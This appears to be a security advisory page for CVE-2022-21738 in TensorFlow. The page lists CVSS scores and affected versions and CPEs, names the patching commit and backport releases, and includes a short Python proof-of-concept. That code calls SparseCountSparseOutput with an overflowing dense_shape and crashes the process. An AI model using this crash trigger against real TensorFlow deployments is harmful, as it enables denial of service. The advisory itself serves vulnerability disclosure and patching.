CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:N/I:N/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS
Percentile
51.9%
The implementation of SparseCountSparseOutput
can be made to crash a TensorFlow process by an integer overflow whose result is then used in a memory allocation:
import tensorflow as tf
import numpy as np
tf.raw_ops.SparseCountSparseOutput(
indices=[[1,1]],
values=[2],
dense_shape=[2 **31, 2** 32],
weights=[1],
binary_output=True,
minlength=-1,
maxlength=-1,
name=None)
We have patched the issue in GitHub commit 6f4d3e8139ec724dbbcb40505891c81dd1052c4a.
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.
Vendor | Product | Version | CPE |
---|---|---|---|
tensorflow | gpu | 2.7.0 | cpe:2.3:a:tensorflow:gpu:2.7.0:*:*:*:*:*:*:* |
tensorflow | gpu | * | cpe:2.3:a:tensorflow:gpu:*:*:*:*:*:*:*:* |
tensorflow | cpu | 2.7.0 | cpe:2.3:a:tensorflow:cpu:2.7.0:*:*:*:*:*:*:* |
tensorflow | cpu | * | cpe:2.3:a:tensorflow:cpu:*:*:*:*:*:*:*:* |
tensorflow | tensorflow | 2.7.0 | cpe:2.3:a:tensorflow:tensorflow:2.7.0:*:*:*:*:*:*:* |
tensorflow | tensorflow | * | cpe:2.3:a:tensorflow:tensorflow:*:*:*:*:*:*:*:* |
github.com/advisories/GHSA-x4qx-4fjv-hmw6
github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc#L168-L273
github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a
github.com/tensorflow/tensorflow/security/advisories/GHSA-x4qx-4fjv-hmw6
nvd.nist.gov/vuln/detail/CVE-2022-21738
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:N/I:N/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS
Percentile
51.9%